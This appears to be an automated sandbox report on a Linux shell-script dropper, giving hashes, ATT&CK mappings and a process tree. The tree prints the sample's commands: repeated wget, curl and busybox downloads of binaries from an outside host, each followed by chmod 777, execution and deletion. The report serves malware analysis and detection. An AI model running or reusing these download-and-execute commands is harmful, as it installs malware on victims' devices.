67c5086816abe89574a7b4a9f07895d19ed72ee94ad151dabcd3cc5b7ddcdf33

Analysis

max time kernel
149s
max time network
62s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
05/11/2024, 01:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486.sh
Size 10KB
Sample241105-bc5pms1dme
SHA256 f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486
MD5 15f16e27280169ee39597dc6e6b333f6
SHA1 3db18b85a86c6aac4563b1f3949488db6db1973a
SHA512 391e2862e2bd6aa2eca440ec5953666d9d5b4afc7c966e0ba8f7a8daf639fa81f916ca6606e15d469850c9a7d2bfd3255387048c7af75d33ac3db089bdb28346
SSDEEP 96:YxpsCLn78dLA87RJ5RJRhRkF5T+LfjP8LTgTcT3MsRV13QR9R9RY5vFYMQaIEgLZ:K8dg68Heq3MsRX0j5J5u7eq3Msp1q5JX
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 18 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
877	chmod
895	chmod
754	chmod
810	chmod
823	chmod
903	chmod
919	chmod
935	chmod
746	chmod
782	chmod
864	chmod
884	chmod
949	chmod
956	chmod
942	chmod
832	chmod
911	chmod
927	chmod

Executes dropped EXE 18 IoCs

Reads runtime system information 19 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 58 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
753	busybox
955	busybox
961	curl
723	wget
879	rm
894	busybox
910	busybox
745	busybox
916	curl
915	wget
878	NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
908	curl
830	busybox
828	curl
869	wget
923	wget
948	busybox
741	curl
801	busybox
820	curl
822	busybox
837	wget
842	curl
883	busybox
900	curl
750	wget
926	busybox
938	wget
960	wget
918	busybox
852	busybox
880	wget
775	busybox
815	wget
881	curl
932	curl
939	curl
766	curl
891	wget
931	wget
827	wget
873	curl
793	curl
892	curl
899	wget
902	busybox
751	curl
876	busybox
941	busybox
788	wget
953	curl
946	curl
945	wget
907	wget
924	curl
934	busybox
952	wget
758	wget

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV	curl
File opened for modification	/tmp/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk	curl
File opened for modification	/tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj	curl
File opened for modification	/tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca	curl
File opened for modification	/tmp/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq	curl
File opened for modification	/tmp/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz	curl
File opened for modification	/tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb	curl
File opened for modification	/tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV	curl
File opened for modification	/tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb	curl
File opened for modification	/tmp/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj	curl
File opened for modification	/tmp/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd	curl
File opened for modification	/tmp/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v	curl
File opened for modification	/tmp/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea	curl
File opened for modification	/tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj	curl
File opened for modification	/tmp/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh	curl
File opened for modification	/tmp/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk	curl
File opened for modification	/tmp/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK	curl
File opened for modification	/tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca	curl

/tmp/f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486.sh
/tmp/f0737205633c8b344ee6001be67a740cb91b2d5ef3c12ee08cd4dacf5daa5486.sh
1⤵
PID:714
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:718
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - System Network Configuration Discovery
  PID:723
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - System Network Configuration Discovery
  PID:745
- /bin/chmod
  chmod 777 zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  ./zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  PID:749
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - System Network Configuration Discovery
  PID:750
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - System Network Configuration Discovery
  PID:753
- /bin/chmod
  chmod 777 e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  ./e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  PID:757
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - System Network Configuration Discovery
  PID:775
- /bin/chmod
  chmod 777 BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  ./BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  PID:786
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - System Network Configuration Discovery
  PID:788
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - System Network Configuration Discovery
  PID:801
- /bin/chmod
  chmod 777 JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  ./JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  PID:813
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - System Network Configuration Discovery
  PID:822
- /bin/chmod
  chmod 777 uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  ./uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  PID:826
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - System Network Configuration Discovery
  PID:827
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - System Network Configuration Discovery
  PID:830
- /bin/chmod
  chmod 777 dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  ./dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm dnjawtNGlYGYrP2FqzdVvqvQzaxm2WrAfq
  2⤵
  PID:836
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - System Network Configuration Discovery
  PID:852
- /bin/chmod
  chmod 777 DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  ./DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm DoswgnyxtvfFpkbNWIIWhSMRjoolfUjsGj
  2⤵
  PID:868
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:869
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  ./NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:878
- /bin/rm
  rm NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - System Network Configuration Discovery
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/chmod
  chmod 777 dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  ./dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/chmod
  chmod 777 m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  ./m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  PID:898
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - System Network Configuration Discovery
  PID:899
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - System Network Configuration Discovery
  PID:902
- /bin/chmod
  chmod 777 uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  ./uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  PID:906
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - System Network Configuration Discovery
  PID:910
- /bin/chmod
  chmod 777 phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  ./phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - System Network Configuration Discovery
  PID:918
- /bin/chmod
  chmod 777 EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  ./EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  PID:922
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - System Network Configuration Discovery
  PID:926
- /bin/chmod
  chmod 777 7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  ./7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm 7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  ./zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  ./e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  ./BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm BByVfQQeTu3jvqjA8TBo4yEEJuIrQLIkPV
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - System Network Configuration Discovery
  PID:955
- /bin/chmod
  chmod 777 JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  ./JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm JYSiypHgdKvPrVsDBiJqHMad66MJk1jRfj
  2⤵
  PID:959
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uVvuw8WIt0UjuXackA0g88SUmjZJuzINKh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:961

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk

Path /tmp/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb

Path /tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512